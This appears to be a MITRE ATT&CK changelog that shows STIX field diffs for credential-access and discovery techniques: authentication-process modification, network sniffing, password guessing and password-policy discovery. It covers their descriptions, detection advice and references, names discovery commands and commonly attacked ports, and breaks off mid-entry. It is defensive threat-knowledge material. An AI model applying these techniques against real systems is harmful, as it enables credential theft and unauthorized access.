| description | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows or pluggable authentication modules (PAM) on Unix-based systems, responsible for gathering, storing, and validating credentials. Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. |
| external_references[3]['source_name'] | TechNet Audit Policy | Xorrior Authorization Plugins |
| external_references[3]['description'] | Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. | Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021. |
| external_references[3]['url'] | https://technet.microsoft.com/en-us/library/dn487457.aspx | https://xorrior.com/persistent-credential-theft/ |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_data_sources[1] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[2] | API monitoring | File: File Creation |
| x_mitre_data_sources[3] | Windows Registry | Process: OS API Execution |
| x_mitre_data_sources[4] | Process monitoring | Process: Process Access |
| x_mitre_data_sources[5] | DLL monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference.
Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)
Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). | Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference.
Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)
Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
Monitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)
|
| x_mitre_version | 1.1 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} | |
| external_references | {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'} | |
| external_references | {'source_name': 'dump_pwd_dcsync', 'description': 'Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.', 'url': 'https://adsecurity.org/?p=2053'} | |
| x_mitre_data_sources | Module: Module Load |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may sniff network traffic to capture information | t | 1 | Adversaries may sniff network traffic to capture information |
| > | about an environment, including authentication material pas | > | about an environment, including authentication material pas | ||
| > | sed over the network. Network sniffing refers to using the n | > | sed over the network. Network sniffing refers to using the n | ||
| > | etwork interface on a system to monitor or capture informati | > | etwork interface on a system to monitor or capture informati | ||
| > | on sent over a wired or wireless connection. An adversary ma | > | on sent over a wired or wireless connection. An adversary ma | ||
| > | y place a network interface into promiscuous mode to passive | > | y place a network interface into promiscuous mode to passive | ||
| > | ly access data in transit over the network, or use span port | > | ly access data in transit over the network, or use span port | ||
| > | s to capture a larger amount of data. Data captured via thi | > | s to capture a larger amount of data. Data captured via thi | ||
| > | s technique may include user credentials, especially those s | > | s technique may include user credentials, especially those s | ||
| > | ent over an insecure, unencrypted protocol. Techniques for n | > | ent over an insecure, unencrypted protocol. Techniques for n | ||
| > | ame service resolution poisoning, such as [LLMNR/NBT-NS Pois | > | ame service resolution poisoning, such as [LLMNR/NBT-NS Pois | ||
| > | oning and SMB Relay](https://attack.mitre.org/techniques/T15 | > | oning and SMB Relay](https://attack.mitre.org/techniques/T15 | ||
| > | 57/001), can also be used to capture credentials to websites | > | 57/001), can also be used to capture credentials to websites | ||
| > | , proxies, and internal systems by redirecting traffic to an | > | , proxies, and internal systems by redirecting traffic to an | ||
| > | adversary. Network sniffing may also reveal configuration | > | adversary. Network sniffing may also reveal configuration | ||
| > | details, such as running services, version numbers, and othe | > | details, such as running services, version numbers, and othe | ||
| > | r network characteristics (e.g. IP addresses, hostnames, VLA | > | r network characteristics (e.g. IP addresses, hostnames, VLA | ||
| > | N IDs) necessary for subsequent Lateral Movement and/or Defe | > | N IDs) necessary for subsequent Lateral Movement and/or Defe | ||
| > | nse Evasion activities. | > | nse Evasion activities. In cloud-based environments, advers | ||
| > | aries may still be able to use traffic mirroring services to | ||||
| > | sniff network traffic from virtual machines. For example, A | ||||
| > | WS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap a | ||||
| > | llow users to define specified instances to collect traffic | ||||
| > | from and specified targets to send collected traffic to.(Cit | ||||
| > | ation: AWS Traffic Mirroring) (Citation: GCP Packet Mirrorin | ||||
| > | g) (Citation: Azure Virtual Network TAP) Often, much of this | ||||
| > | traffic will be in cleartext due to the use of TLS terminat | ||||
| > | ion at the load balancer level to reduce the strain of encry | ||||
| > | pting and decrypting traffic.(Citation: Rhino Security Labs | ||||
| > | AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic | ||||
| > | Mirroring) The adversary can then use exfiltration techniqu | ||||
| > | es such as Transfer Data to Cloud Account in order to access | ||||
| > | the sniffed traffic. (Citation: Rhino Security Labs AWS VPC | ||||
| > | Traffic Mirroring) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Oleg Kolesnikov, Securonix', 'Tiago Faria, 3CORESec'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM'] | |
| external_references | CAPEC-158 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 21:03:49.610000+00:00 | 2022-05-20 17:32:27.146000+00:00 |
| description | Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities. | Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities. In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring) |
| external_references[1]['source_name'] | capec | AWS Traffic Mirroring |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/158.html | https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html |
| x_mitre_data_sources[0] | Network device logs | Command: Command Execution |
| x_mitre_data_sources[1] | Host network interface | Process: Process Creation |
| x_mitre_detection | Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. | Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'GCP Packet Mirroring', 'description': 'Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.', 'url': 'https://cloud.google.com/vpc/docs/packet-mirroring'} | |
| external_references | {'source_name': 'SpecterOps AWS Traffic Mirroring', 'description': 'Luke Paine. (2020, March 11). Through the Looking Glass — Part 1. Retrieved March 17, 2022.', 'url': 'https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512'} | |
| external_references | {'source_name': 'Azure Virtual Network TAP', 'description': 'Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.', 'url': 'https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview'} | |
| external_references | {'source_name': 'Rhino Security Labs AWS VPC Traffic Mirroring', 'description': 'Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.', 'url': 'https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/158.html', 'external_id': 'CAPEC-158'} | |
| x_mitre_platforms | Network | |
| x_mitre_platforms | IaaS |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries with no prior knowledge of legitimate credential | t | 1 | Adversaries with no prior knowledge of legitimate credential |
| > | s within the system or environment may guess passwords to at | > | s within the system or environment may guess passwords to at | ||
| > | tempt access to accounts. Without knowledge of the password | > | tempt access to accounts. Without knowledge of the password | ||
| > | for an account, an adversary may opt to systematically guess | > | for an account, an adversary may opt to systematically guess | ||
| > | the password using a repetitive or iterative mechanism. An | > | the password using a repetitive or iterative mechanism. An | ||
| > | adversary may guess login credentials without prior knowledg | > | adversary may guess login credentials without prior knowledg | ||
| > | e of system or environment passwords during an operation by | > | e of system or environment passwords during an operation by | ||
| > | using a list of common passwords. Password guessing may or m | > | using a list of common passwords. Password guessing may or m | ||
| > | ay not take into account the target's policies on password c | > | ay not take into account the target's policies on password c | ||
| > | omplexity or use policies that may lock accounts out after a | > | omplexity or use policies that may lock accounts out after a | ||
| > | number of failed attempts. Guessing passwords can be a ris | > | number of failed attempts. Guessing passwords can be a ris | ||
| > | ky option because it could cause numerous authentication fai | > | ky option because it could cause numerous authentication fai | ||
| > | lures and account lockouts, depending on the organization's | > | lures and account lockouts, depending on the organization's | ||
| > | login failure policies. (Citation: Cylance Cleaver) Typical | > | login failure policies. (Citation: Cylance Cleaver) Typical | ||
| > | ly, management services over commonly used ports are used wh | > | ly, management services over commonly used ports are used wh | ||
| > | en guessing passwords. Commonly targeted services include th | > | en guessing passwords. Commonly targeted services include th | ||
| > | e following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP | > | e following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP | ||
| > | ) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TC | > | ) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TC | ||
| > | P) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) | > | P) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) | ||
| > | * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL ( | > | * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL ( | ||
| > | 1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900 | > | 1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900 | ||
| > | /TCP) In addition to management services, adversaries may " | > | /TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to manag | ||
| > | target single sign-on (SSO) and cloud-based applications uti | > | ement services, adversaries may "target single sign-on (SSO) | ||
| > | lizing federated authentication protocols," as well as exter | > | and cloud-based applications utilizing federated authentica | ||
| > | nally facing email applications, such as Office 365.(Citatio | > | tion protocols," as well as externally facing email applicat | ||
| > | n: US-CERT TA18-068A 2018) In default environments, LDAP an | > | ions, such as Office 365.(Citation: US-CERT TA18-068A 2018). | ||
| > | d Kerberos connection attempts are less likely to trigger ev | > | Further, adversaries may abuse network device interfaces (s | ||
| > | ents over SMB, which creates Windows "logon failure" event I | > | uch as `wlanAPI`) to brute force accessible wifi-router(s) v | ||
| > | D 4625. | > | ia wireless authentication protocols.(Citation: Trend Micro | ||
| > | Emotet 2020) In default environments, LDAP and Kerberos con | ||||
| > | nection attempts are less likely to trigger events over SMB, | ||||
| > | which creates Windows "logon failure" event ID 4625. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-49 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.126000+00:00 | 2022-04-19 21:31:44.221000+00:00 |
| description | Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. | Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020) In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. |
| external_references[1]['source_name'] | capec | Trend Micro Emotet 2020 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/49.html | https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | AWS | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/49.html', 'external_id': 'CAPEC-49'} | |
| x_mitre_contributors | Mohamed Kmal | |
| x_mitre_platforms | Network |
Current version: 1.4
Version changed from: 1.2 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to access detailed information about | t | 1 | Adversaries may attempt to access detailed information about |
| > | the password policy used within an enterprise network. Pass | > | the password policy used within an enterprise network or cl | ||
| > | word policies for networks are a way to enforce complex pass | > | oud environment. Password policies are a way to enforce comp | ||
| > | words that are difficult to guess or crack through [Brute Fo | > | lex passwords that are difficult to guess or crack through [ | ||
| > | rce](https://attack.mitre.org/techniques/T1110). This would | > | Brute Force](https://attack.mitre.org/techniques/T1110). Thi | ||
| > | help the adversary to create a list of common passwords and | > | s information may help the adversary to create a list of com | ||
| > | launch dictionary and/or brute force attacks which adheres t | > | mon passwords and launch dictionary and/or brute force attac | ||
| > | o the policy (e.g. if the minimum password length should be | > | ks which adheres to the policy (e.g. if the minimum password | ||
| > | 8, then not trying passwords such as 'pass123'; not checking | > | length should be 8, then not trying passwords such as 'pass | ||
| > | for more than 3-4 passwords per account if the lockout is s | > | 123'; not checking for more than 3-4 passwords per account i | ||
| > | et to 6 as to not lock out accounts). Password policies can | > | f the lockout is set to 6 as to not lock out accounts). Pas | ||
| > | be set and discovered on Windows, Linux, and macOS systems | > | sword policies can be set and discovered on Windows, Linux, | ||
| > | via various command shell utilities such as <code>net accoun | > | and macOS systems via various command shell utilities such a | ||
| > | ts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy | > | s <code>net accounts (/domain)</code>, <code>Get-ADDefaultDo | ||
| > | </code>, <code>chage -l <username></code>, <code>cat /etc/pa | > | mainPasswordPolicy</code>, <code>chage -l <username></code>, | ||
| > | m.d/common-password</code>, and <code>pwpolicy getaccountpol | > | <code>cat /etc/pam.d/common-password</code>, and <code>pwpo | ||
| > | icies</code>.(Citation: Superuser Linux Password Policies) ( | > | licy getaccountpolicies</code> (Citation: Superuser Linux Pa | ||
| > | Citation: Jamf User Password Policies) | > | ssword Policies) (Citation: Jamf User Password Policies). Ad | ||
| > | versaries may also leverage a [Network Device CLI](https://a | ||||
| > | ttack.mitre.org/techniques/T1059/008) on network devices to | ||||
| > | discover password policy information.(Citation: US-CERT-TA18 | ||||
| > | -106A) Password policies can be discovered in cloud environ | ||||
| > | ments using available APIs such as <code>GetAccountPasswordP | ||||
| > | olicy</code> in AWS (Citation: AWS GetPasswordPolicy). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-29 14:48:07.227000+00:00 | 2022-04-20 18:12:44.708000+00:00 |
| description | Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies) | Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information.(Citation: US-CERT-TA18-106A)
Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy). |
| external_references[1]['source_name'] | Superuser Linux Password Policies | AWS GetPasswordPolicy |
| external_references[1]['description'] | Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018. | Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021. |
| external_references[1]['url'] | https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu | https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_detection | Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity. | Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity. |
| x_mitre_version | 1.2 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Superuser Linux Password Policies', 'description': 'Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.', 'url': 'https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu'} | |
| external_references | {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'} | |
| x_mitre_contributors | Regina Elwell | |
| x_mitre_contributors | Isif Ibrahima, Mandiant | |
| x_mitre_contributors | Austin Clark, @c2defense | |
| x_mitre_data_sources | User Account: User Account Metadata | |
| x_mitre_platforms | IaaS | |
| x_mitre_platforms | Network |
Current version: 2.4
Version changed from: 2.2 → 2.4
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-08 17:36:01.675000+00:00 | 2021-10-15 18:10:53.423000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Pod: Pod Metadata |
| x_mitre_data_sources[1] | GCP audit logs | Command: Command Execution |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Group: Group Metadata |
| x_mitre_data_sources[3] | Azure activity logs | Process: Process Creation |
| x_mitre_data_sources[4] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_data_sources[5] | API monitoring | Group: Group Enumeration |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
